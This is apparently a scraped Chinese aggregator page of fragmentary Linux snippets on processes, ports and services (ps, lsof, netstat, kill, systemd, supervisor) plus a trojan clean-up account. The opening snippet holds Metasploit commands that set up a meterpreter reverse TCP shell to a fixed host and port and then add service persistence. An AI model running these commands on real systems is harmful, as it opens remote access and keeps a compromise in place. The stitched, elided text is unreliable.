#service_persistenceuse exploit/multi/script/web_deliveryset target 7set payload linux/x64/meterpreter.../reverse_tcpset lhost 192.168.85.161set lport 4949exploit -juse linux/local/service_persistenceset session
linux下有时需要查询某个文件被哪些进程调用，或者某个进程打开了哪些文件，今天介绍两个命令。...另外fuser还可以直接发送信号给进程，可以查看下fuser支持的信号 ? 比如直接关闭占用tail命令的进程 ?...0 2 lsof 列出当前系统打开文件 在linux环境下，任何事物都以文件的形式存在，通过文件不仅可以访问常规数据，还可以访问网络连接和硬件。...解释一下输出的每列的意义： COMMAND：进程的名称 PID：进程标识符 USER：进程所有者 FD：文件描述符，应用程序通过文件描述符识别该文件。...查看某进程打开的文件 ? 或者指定进程pid查看进程打开的文件 ? 有时候需要删除某用户下的所有进程，只需要用-t参数就可以直接列出PID列。
S 13:02 0:00 \_ /usr/sbin/httpd 我们查看httpd 服务器的进程；您也可以用pgrep -l httpd 来查看； 我们看上面例子中的第二列，就是进程PID的列，其中4830...是httpd服务器的父进程，从4833－4840的进程都是它4830的子进程；如果我们杀掉父进程4830的话，其下的子进程也会跟着死掉； [root@localhost ~]# kill 4840 注：...是不是httpd服务器仍在运行？...[root@localhost ~]# kill 4830 注：杀掉httpd的父进程； [root@localhost ~]# ps -aux |grep httpd 注：查看httpd的其它子进程是否存在...，httpd服务器是否仍在运行？
概述接着之前的Linux系列篇，第二篇主要介绍进程和服务，从进程到服务，由浅入深的知识系统的介绍。...进程、程序和服务Linux系统只认识二进制文件，那么当我们要让系统工作的时候，启动一个二进制文件，这个二进制文件就是程序。...为了让操作系统可以管理这个进程，进程会给予执行者权限/属性等参数，以及进程所需的脚本或数据等，最后在给予一个PID。我们将它在后台启动并一直持续不断地运行，常驻在内存当中的进程，被我们称为服务。...任务管理(job control)有时我们想把服务放入后台执行，有多种办法，下面利用后台管理任务和数据流，把输出的信息都重定向到/tmp/log.txt文件中，96就是这次进程执行的PID。...-l: 列出目前正在网络监听的服务。-p: 列出该网络服务进程的PID。
：该进程使用的虚拟內存量（KB） RSS ：该进程占用的固定內存量（KB）（驻留中页的数量） STAT ：进程的状态 START ：该进程被触发启动时间...TIME ：该进程实际使用CPU运行的时间 二，查看服务 1，主要用到chkconfig命令 chkconfig --list #列出所有的系统服务 chkconfig...--add httpd #增加httpd服务 chkconfig --del httpd #删除httpd服务 chkconfig --level httpd 2345...on #设置httpd在运行级别为2、3、4、5的情况下都是on（开启）的状态 chkconfig --list #列出系统所有的服务启动情况 chkconfig --...list mysqld #列出mysqld服务设置情况
netstat [-anp] # 查看系统网络状态 # -a：显示所有连线中的Socket； # -n：直接使用ip地址，而不通过域名服务器； #...】 M 以内存使用率排序 N 以PID排序 q 退出 在top状态下，输入u回车后输入用户名查看指定用户的进程 输入k回车后输入进程号结束指定进程 八、服务管理 service ]--list] [--level 服务名 on/off] # list 查看服务列表 # level 设置服务启动等级 九、软件管理 9.1、rpm 红帽包管理工具...，目前业界标准 rpm -ivh # 安装常用 rpm -e # 卸载 rpm -q #查询软件包是否安装 9.2、yum yum list...#查询服务器是否有需要安装的软件 yum install # 安装 yum remove # 删除指定软件
Linux 查看端口占用情况可以使用 lsof 和 netstat 命令。 lsof lsof(list open files)是一个列出当前系统打开文件的工具。...lsof 查看端口占用语法格式： lsof -i:端口号 实例 查看服务器 8000 端口的占用情况： # lsof -i:8000 COMMAND PID USER FD TYPE DEVICE SIZE.../OFF NODE NAME nodejs 26993 root 10u IPv4 37999514 0t0 TCP *:8000 (LISTEN) 可以看到 8000 端口已经被轻 nodejs 服务占用...abc：显示abc进程现在打开的文件 lsof -c -p 1234：列出进程号为1234的进程所打开的文件 lsof -g gid：显示归属gid的进程情况 lsof +d /usr/local/：...-tunlp | grep 端口号 -t (tcp) 仅显示tcp相关选项 -u (udp)仅显示udp相关选项 -n 拒绝显示别名，能显示数字的全部转化为数字 -l 仅列出在Listen(监听)的服务状态
Linux查询jar包位置： 适用情况：需要访问Jar路径的情况、查询进程对应Jar包的情况 ①.根据代码使用maven打包的后的名字，使用ps -ef | grep name，得到进程的pid ②.使用...proc名称找到开启进程文件的路径： ls -lrt /proc/pid 实战： image.png ①.根据名字进行模糊搜索 image.png ②.根据grep命令查询到的有两个进程 根据一个端口pid...查询，如：5806 image.png 查询后PID：5806相关文件夹都会显示出来，那么这样不太方便查询，proc提供了查询当前进程工作目录的功能： ls -lrt /proc/5086/cwd image.png...如果根据其中一个pid查询到的jar位置不正确，那么再试用其他的即可。 ls -lrt : 列出目前工作目录下的文件，越新的排越后面 。...所以，以上的思路是： 使用grep查询处进程PID 根据PID使用proc查询进程工作目录 使用ls -lrt列出当前工作目录 哪么，还可以使用cd命令配合proc命令直接进入5806进程的工作目录：
在Linux系统中，可以使用多个命令来获取系统版本信息、CPU型号、核心数和内存大小。...以下是一些常用的命令： 查看系统版本信息： cat /etc/os-release：这个命令会显示大多数Linux发行版的版本信息。...lsb_release -a：这个命令会显示LSB（Linux Standard Base）的版本信息，但并非所有发行版都预装了lsb_release。...下面是一些实际的命令示例和可能的输出： # 查看系统版本信息 cat /etc/os-release # 查看CPU型号和核心数 lscpu # 查看内存大小 free -h 请注意，根据您的具体Linux
在 Linux 系统的服务管理中会经常提到 daemon（守护进程） 与 service（服务），守护进程 daemon 是指后台运行的进程，随系统启动而为应用程序提供支持， 而服务 service 则用于提供某种功能...如计划任务服务（service）对应的程序进程是 crond 这个进程（daemon），但在日常的描述和表达中，并没有严格区分 daemon 和 service，通常可以将两者视为相同的东西。...常见的 daemon 包括 cron（定时任务守护进程）、sshd（SSH服务守护进程）、httpd（Apache Web服务器守护进程）和mysqld（MySQL服务守护进程）等。...管理服务命令 systemctl 在早期的 Linux 版本中管理服务的机制是通过 /etc/init.d/*、service 等方式进行，但现在主流的版本改为通过 systemd 进行服务管理机制，而...，适用于较新的 Linux 发行版。
在使用nohup 的时候意外发现了supervisor, supervisor使用python开发，通过配置文件来配置需要启动监管的程序，作为supervisord的子进程。...执行程序supervisord即‘守护进程’（Daemon）[在希腊神话中是守护神的意思！类似中国的护法？daemon这个词和恶魔(demon)只差一个字母，且发音完全一样！...可通过管道命令将配置文件重定向到某个目录，eg:echo_supervisord_conf > /etc/supervisord.conf 以root用户运行需要增加 user=root 配置进程 例如要在...vps上启用一个简单的http服务，用于分享download目录下的文件 [program:http-server] command=python3 -m http.server directory=/...stderr_logfile=/var/log/simple-http-server_err.log stdout_logfile=/var/log/simple-http-server_out.log 启用web监控服务
常见的场景 查询应用程序的端口号（懒得查看配置文件），就可以通过查找进程号，再找端口号； 知道应用程序的访问 url，在服务器通过端口号，反查进程号、文件等； 查询某个文件是否被应用程序占用。...查看应用进程号 1# 查看 jenkins 进程号 2$ ps -ef | grep jenkins 3或者 4$ ps aux | grep jenkins 5jenkins 23288 0.2...27 161:08 java -jar jenkins.war --webroot=/home/jenkins/war --prefix=/jenkins 6 7# java 应用可以通过 jps 命令查询...8$ jps -mlv | grep jenkins 923288 jenkins.war --webroot=/home/jenkins/war --prefix=/jenkins 查询端口对应的进程号...1$ lsof -p 查看文件被那个进程占用 1$ lsof jenkins.log 2COMMAND PID USER FD TYPE DEVICE SIZE/OFF
目录 1 根据端口查询进程 2 通过进程号杀进程 1 根据端口查询进程 netstat -ano|findstr "8080" 2 通过进程号杀进程 taskkill /pid 7300 -f
查询指定路径下的进程： ps aux | grep 指定路径 实例： ps aux | grep /data/nccode/ncc2020.05_for_ylz/ 根据进程 id 杀掉指定进程...kill -9 指定进程号 实例： kill -9 640582 案例： 我再该路径下起了一个服务，我要干掉我起的这个服务。...一般的进程信息里都会显示进程启用的路径，ps aux 是查看进程，grep 就是在前面的基础上再筛选查找包含指定内容的进程。...然后杀掉，再查一下可以看到没了，如果之前进程卡死了，这样就解决了，重新起进程就好了。
笔记：根据一个进程的名字或启动此进程的命令（连续的一部分即可）杀死进程 一、使用单条命令 ps -ef | grep 进程名/启动进程的命令 | grep -v grep | awk ‘{print $2...}’ | xargs kill -9 执行结果： [1]- 已杀死 sleep 200 [2]+ 已杀死 sleep 200 二、编写脚本 linux.../bin/bash # 脚本名：kill_process.sh # 脚本功能：强制杀死进程 方式kill -9 # 1通过ps查询进程的id # 2使用kill -9 强制终止进程...————————————————————— # 根据进程名查询包含进程名的进程 并排除grep查询进程和此脚本进程 ps -ef | grep “$pName” | grep -v grep | grep...本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。
1.查进程 ps命令查找与进程相关的PID号： ps a 显示现行终端机下的所有程序，包括其他用户的程序。 ps -A 显示所有程序。...ps c 列出程序时，显示每个程序真正的指令名称，而不包含路径，参数或常驻服务的标示。 ps -e 此参数的效果和指定"A"参数相同。 ps e 列出程序时，显示每个程序所使用的环境变量。...2.杀进程和查看进程对应PID目录下exe文件信息 最常用的方法是ps -aux或者ps -ef 然后再通过管道使用grep命令过滤查找特定的进程,然后再对特定的进程进行操作。...使用kill命令结束进程：kill -a 进程pid 或者 killall 程序名 查看对应PID目录下的exe文件信息： [root@localhost postfix]# ps -aux|grep
结合Linux命令与java程序，定位，排错，复习Linux命令 造成服务器系统性能变慢的原因很多，大多数为： 1：Cpu占用过高 2...参数1：Linux命令 2：当前系统负载均衡：3个数字相加*100%/3如果大于60%表示负载过高 3：具体java进程id及占用信息 按下数字1键 当前系统具体cpu片数情况...主要关注procs(process) cpu id(idle) :cpu空闲率越高越好最好大于80% 查询所有cpu信息：mpstat -P ALL 2 ?...第五步：网络io ifstat 精准定位： 1：top查看具体占用进程 为2588 2：精准定位 ps -ef|grep 2588|grep -v grep ?...ok定位结束 将其进程杀死即可 ? ? 你为什么不试试重启呢？ 你为什么不试试在公众号回复[我爱你]呢？
记录一次查询清除木马过程 木马名称： Linux.BackDoor.Gates.5 链接：https://forum.antichat.ru/threads/413337/ 前两天服务器被扫描后...，出现莫名进程，清理后重启，也把原来的SSH密码登陆改为公钥，仅仅过去两天，一早登陆服务器发现一个进程直接懵了，清掉我ROOT所有文件。...进程杀了又起来，文件删了又自动生成，无奈之下只好想了一个怪招，把/bin/bash重命名一下 再查询基础命令是否被掉包： ? 对比下其他在正常服务器的显示如下： ? 怒了有没有！...然后找出下列程序进程号并杀死： /root/ps aux |grep -i jul29（主要是最近开启的进程） /root/ps aux |grep -i jul30 /root/ps aux |...FOUND为病毒 grep FOUND /root/usrclamav.log /usr/bin/.sshd: Linux.Trojan.Agent FOUND /usr/sbin/ss: Linux.Trojan.Agent
有这样一个场景，在一台服务器上，我们想要启动一个简单的网络文件服务器，用来提供给内网的用户下载。.../home/webbuild/easy_file_server/ -p8000 & 将该进程设置为后台执行 为了防止挂起，我们还需要使用nohup处理。...但是还有一些问题，比如 进程意外停止了，无法自动启动 服务器重启，该进程也不会自动启动 那么我们有没有什么好的办法解决呢，答案是有的。就是下面介绍的使用systemd创建Linux 服务的方式解决。...基本搞定了 启动服务 1 systemctl start apk_server.service 停止服务 1 systemctl stop apk_server.service 重新启动服务 1 systemctl...其他字段解释 StartLimitIntervalSec 启动频率限制，设置为0 Restart=always 当进程退出后自动重启 RestartSec 重启延迟时间，单位为毫秒 WantedBy 自动启动相关参数
PS 查看当前系统进程状态 基本语法 ps aux | grep xxx （功能描述：查看系统中所有进程） ps -ef | grep xxx （功能描述：可以查看子父进程之间的关系） 选项说明 返回结果...STAT：进程状态。...常见的状态有：R：运行状态、S：睡眠状态、T：暂停状态、 Z：僵尸状态、s：包含子进程、l：多线程、+：前台显示 START：该进程的启动时间 TIME：该进程占用 CPU 的运算时间，注意不是系统时间...COMMAND：产生此进程的命令名 PS -EF PPID： 父进程ID C：CPU 用于计算执行优先级的因子。...：启动进程所用的命令和参数 Kill 终止进程 基本语法 kill [选项] 进程号 （功能描述：通过进程号杀死进程） killall 进程名称 （功能描述：通过进程名称杀死进程，也支持通配符，这在系统因负载过大而变得很慢时很有用
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
